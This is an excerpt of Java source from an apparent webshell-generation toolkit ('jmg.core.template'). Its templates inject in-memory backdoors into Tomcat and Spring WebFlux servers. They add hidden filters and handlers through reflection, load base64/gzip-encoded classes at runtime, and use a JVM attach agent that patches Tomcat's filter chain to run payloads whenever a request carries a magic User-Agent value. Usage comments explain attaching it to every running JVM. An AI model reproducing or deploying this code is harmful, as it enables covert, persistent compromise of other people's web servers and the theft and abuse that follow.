static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
|
||||
getF(var0, var1).set(var0, val);
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import org.springframework.web.reactive.result.method.RequestMappingInfo;
|
||||
import org.springframework.web.server.ServerWebExchange;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Collection;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* spring webflux + netty(default) -> spring RequestMappingHandlerMapping -> registerHandlerMethod
|
||||
*/
|
||||
public class SpringWebFluxHandlerMethodInjectorTpl {
|
||||
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
public SpringWebFluxHandlerMethodInjectorTpl() {
|
||||
try {
|
||||
Object requestMappingHandlerMapping = getRequestMappingHandlerMapping();
|
||||
Object handlerMethod = getHandlerMethod();
|
||||
addHandlerMethod(requestMappingHandlerMapping, handlerMethod);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private Object getRequestMappingHandlerMapping() throws Exception {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object requestMappingHandlerMapping = null;
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Collection handlerMappings = (Collection) getFV(getFV(getFV(getFV(getFV(getFV(getFV(getFV(threads[i], "this$0"), "handler"), "httpHandler"), "delegate"), "delegate"), "delegate"), "delegate"), "handlerMappings");
|
||||
Object[] objects = handlerMappings.toArray();
|
||||
boolean flag = false;
|
||||
for (int j = 0; j < objects.length; j++) {
|
||||
if (objects[j].getClass().getName().contains("RequestMappingHandlerMapping")) {
|
||||
requestMappingHandlerMapping = objects[j];
|
||||
flag = true;
|
||||
}
|
||||
}
|
||||
if (flag) {
|
||||
return requestMappingHandlerMapping;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return requestMappingHandlerMapping;
|
||||
}
|
||||
|
||||
public void addHandlerMethod(Object obj, Object handler) {
|
||||
try {
|
||||
Method method = handler.getClass().getDeclaredMethod("invoke", ServerWebExchange.class);
|
||||
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build();
|
||||
invokeMethod(obj, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handler, method, requestMappingInfo});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private Object getHandlerMethod() {
|
||||
Object handler = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
handler = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
handler = clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
return handler;
|
||||
}
|
||||
|
||||
|
||||
private static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
private static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
private static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
private static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,255 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.IllegalClassFormatException;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.instrument.UnmodifiableClassException;
|
||||
import java.lang.management.ManagementFactory;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class TomcatAgentTransformer implements ClassFileTransformer {
|
||||
|
||||
public static final String targetClassName = "org.apache.catalina.core.ApplicationFilterChain";
|
||||
public static final String targetMethodName = "doFilter";
|
||||
public String injectHeaderName = "User-Agent";
|
||||
|
||||
public String injectHeaderValue = "magic";
|
||||
|
||||
public String getInjectorCode() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
|
||||
instrumentation.addTransformer(new TomcatAgentTransformer(), true);
|
||||
for (Class clz : instrumentation.getAllLoadedClasses()) {
|
||||
if (!clz.getName().equals(targetClassName)) continue;
|
||||
instrumentation.retransformClasses(clz);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
|
||||
className = className.replace("/", ".");
|
||||
if (className.equals(targetClassName) && classBeingRedefined != null) {
|
||||
try {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(classBeingRedefined));
|
||||
CtClass ctClass = pool.getCtClass(className);
|
||||
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
|
||||
String injectorCode = getInjectorCode();
|
||||
String code = String.format("if ($1 instanceof javax.servlet.http.HttpServletRequest && $2 instanceof javax.servlet.http.HttpServletResponse) {\n" +
|
||||
" javax.servlet.http.HttpServletRequest httpRequest = (javax.servlet.http.HttpServletRequest) $1;\n" +
|
||||
" javax.servlet.http.HttpServletResponse httpResponse = (javax.servlet.http.HttpServletResponse) $2;\n" +
|
||||
" try {\n" +
|
||||
" if (httpRequest.getHeader(\"%s\") != null && httpRequest.getHeader(\"%s\").contains(\"%s\")) {\n" +
|
||||
" String injectorCode = \"%s\";\n" +
|
||||
" byte[] byteArray;\n" +
|
||||
" try {\n" +
|
||||
" Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
|
||||
" byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
|
||||
" } catch (Throwable e) {\n" +
|
||||
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
|
||||
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
|
||||
" byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
|
||||
" }\n" +
|
||||
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
|
||||
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
|
||||
" method.setAccessible(true);\n" +
|
||||
" Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
|
||||
" clazz.newInstance();\n" +
|
||||
" }\n" +
|
||||
" } catch (Exception e) {\n" +
|
||||
" e.printStackTrace();\n" +
|
||||
" }\n" +
|
||||
"}", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
|
||||
ctMethod.insertBefore(code);
|
||||
byte[] bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
return bytes;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
return new byte[0];
|
||||
}
|
||||
|
||||
private static Class virtualMachineClass;
|
||||
private static Class virtualMachineDescriptorClass;
|
||||
private static List<Object> vms;
|
||||
|
||||
static {
|
||||
try {
|
||||
// 获取 tools.jar 的路径
|
||||
StringBuilder toolsJarPath = new StringBuilder();
|
||||
toolsJarPath.append(System.getProperty("java.home"))
|
||||
.append(File.separator)
|
||||
.append("..")
|
||||
.append(File.separator)
|
||||
.append("lib")
|
||||
.append(File.separator)
|
||||
.append("tools.jar");
|
||||
File toolsJarFile = new File(toolsJarPath.toString());
|
||||
|
||||
// 如果 JDK 目录下没有找到 tools.jar(纯JRE)
|
||||
if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
|
||||
// 释放内置的 tools.jar
|
||||
InputStream jarStream = TomcatAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
|
||||
toolsJarFile = File.createTempFile("tools", ".jar");
|
||||
|
||||
FileOutputStream out = null;
|
||||
try {
|
||||
out = new FileOutputStream(toolsJarFile);
|
||||
byte[] buffer = new byte[1024];
|
||||
int bytesRead;
|
||||
while ((bytesRead = jarStream.read(buffer)) != -1) {
|
||||
out.write(buffer, 0, bytesRead);
|
||||
}
|
||||
} finally {
|
||||
if (out != null) {
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Load the VirtualMachine and VirtualMachineDescriptor classes
|
||||
URL url = toolsJarFile.toURI().toURL();
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
|
||||
virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
|
||||
virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
|
||||
vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/*
|
||||
使用方法:
|
||||
java -jar jmg-agent.jar // 列出所有的 JVM 进程 ID
|
||||
java -jar jmg-agent.jar all // 将 agent 注入到所有 JVM 进程
|
||||
java -jar jmg-agent.jar [pid] // 将 agent 注入到指定的 JVM 进程,其中 [pid] 是 JVM 进程的 ID
|
||||
java -jar jmg-agent.jar [displayName] // 将 agent 注入到所有 displayName 包含 [displayName] 字符串的 JVM 进程
|
||||
*/
|
||||
public static void main(String[] args) throws Exception {
|
||||
// 无参数 - 列出所有 JVM 进程 ID
|
||||
if (args.length == 0) {
|
||||
listAllJvmPids();
|
||||
} else if (args.length == 1) {
|
||||
String arg = args[0];
|
||||
// "all",将 agent 注入到所有 JVM 进程(试验性功能,缺少实战验证,所以自行编译使用)
|
||||
if (arg.equalsIgnoreCase("all")) {
|
||||
for (String jvmProcessId : getAllJvmPids()) {
|
||||
attachAgentToTargetJvm(jvmProcessId);
|
||||
}
|
||||
}
|
||||
// JVM 进程 ID,将 agent 注入到指定的 JVM 进程
|
||||
else {
|
||||
try {
|
||||
Integer.parseInt(arg);
|
||||
attachAgentToTargetJvm(arg);
|
||||
} catch (NumberFormatException e) {
|
||||
/*
|
||||
WHY: 解决命令执行无回显、但又不想注入到所有 JVM 进程(比参数 'all' 更优雅一点)
|
||||
WHAT:不是 JVM 进程 ID,将其视为 displayName,并将 agent 注入到所有 displayName 包含该字符串的 JVM 进程
|
||||
HOW: tomcat -> org.apache.catalina.startup.Bootstrap,可使用 java -jar jmg-agent.jar catalina 注入内存马
|
||||
*/
|
||||
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
|
||||
attachAgentToTargetJvm(jvmProcessId);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
|
||||
}
|
||||
}
|
||||
|
||||
public static List<String> getAllJvmPids() throws Exception {
|
||||
List<String> pids = new ArrayList<>();
|
||||
for (Object vm : vms) {
|
||||
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||
String id = (String) getId.invoke(vm);
|
||||
pids.add(id);
|
||||
}
|
||||
return pids;
|
||||
}
|
||||
|
||||
public static void listAllJvmPids() throws Exception {
|
||||
for (Object vm : vms) {
|
||||
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
|
||||
String displayName = (String) displayNameMethod.invoke(vm);
|
||||
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||
String id = (String) getId.invoke(vm);
|
||||
infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
|
||||
}
|
||||
}
|
||||
|
||||
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
|
||||
List<String> pids = new ArrayList<>();
|
||||
for (Object vm : vms) {
|
||||
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
|
||||
String currentDisplayName = (String) displayNameMethod.invoke(vm);
|
||||
System.out.println(currentDisplayName);
|
||||
System.out.println(displayName);
|
||||
System.out.println();
|
||||
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
|
||||
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||
String id = (String) getId.invoke(vm);
|
||||
pids.add(id);
|
||||
}
|
||||
}
|
||||
return pids;
|
||||
}
|
||||
|
||||
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
|
||||
String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
|
||||
infoLog("Current agent path: " + agentFilePath);
|
||||
File agentFile = new File(agentFilePath);
|
||||
String currentPid = getCurrentPID();
|
||||
if (targetPID.equals(currentPid)) {
|
||||
infoLog("Skipping attaching to self");
|
||||
} else {
|
||||
try {
|
||||
infoLog("Attaching to target JVM with PID: " + targetPID);
|
||||
Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
|
||||
Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
|
||||
loadAgent.invoke(jvm, agentFile.getAbsolutePath());
|
||||
Method detach = virtualMachineClass.getDeclaredMethod("detach");
|
||||
detach.invoke(jvm);
|
||||
successLog("Attached to target JVM and loaded agent successfully");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static String getCurrentPID() {
|
||||
return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
|
||||
}
|
||||
|
||||
public static void infoLog(String message) {
|
||||
System.out.println("[*] " + message);
|
||||
}
|
||||
|
||||
public static void failLog(String message) {
|
||||
System.out.println("[-] " + message);
|
||||
}
|
||||
|
||||
public static void successLog(String message) {
|
||||
System.out.println("[+] " + message);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,294 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Date: 2022/11/01
|
||||
* Author: pen4uin
|
||||
* Description: Tomcat Filter 注入器
|
||||
* Tested version:
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*/
|
||||
|
||||
public class TomcatFilterInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new TomcatFilterInjectorTpl();
|
||||
}
|
||||
|
||||
public TomcatFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object context = null;
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5/v6/7/8
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
// 原: map.get("localhost")
|
||||
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
// 原: context = children.get("");
|
||||
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
|
||||
for (Object key1 : children.keySet()) {
|
||||
context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||
contexts.add(context);
|
||||
// 兼容 spring boot 2.x embedded tomcat
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
// 适配 tomcat v9
|
||||
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
|
||||
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||
contexts.add(context);
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public String getFilterName(String className) {
|
||||
if (className.contains(".")) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
return className.substring(lastDotIndex + 1);
|
||||
} else {
|
||||
return className;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
|
||||
ClassLoader catalinaLoader = getCatalinaLoader();
|
||||
String filterClassName = getClassName();
|
||||
String filterName = getFilterName(filterClassName);
|
||||
Object filterDef;
|
||||
Object filterMap;
|
||||
|
||||
// 防止重复注入
|
||||
try {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
try {
|
||||
// tomcat v8/9
|
||||
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
||||
} catch (Exception e2) {
|
||||
// tomcat v6/7
|
||||
try {
|
||||
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
} catch (Exception e) {
|
||||
// tomcat v5
|
||||
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
|
||||
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
|
||||
}
|
||||
}
|
||||
try {
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
|
||||
Constructor<?>[] constructors;
|
||||
try {
|
||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
} catch (Exception e) {
|
||||
// tomcat v5
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
|
||||
}
|
||||
try {
|
||||
// v7.0.0 以上
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
|
||||
constructors[0].setAccessible(true);
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) getFV(context, "filterConfigs");
|
||||
filterConfigs.put(filterName, filterConfig);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
ClassLoader catalinaLoader = null;
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
// 适配 v5 的 Class Loader 问题
|
||||
if (threads[i].getName().contains("ContainerBackgroundProcessor")) {
|
||||
catalinaLoader = threads[i].getContextClassLoader();
|
||||
break;
|
||||
}
|
||||
}
|
||||
return catalinaLoader;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
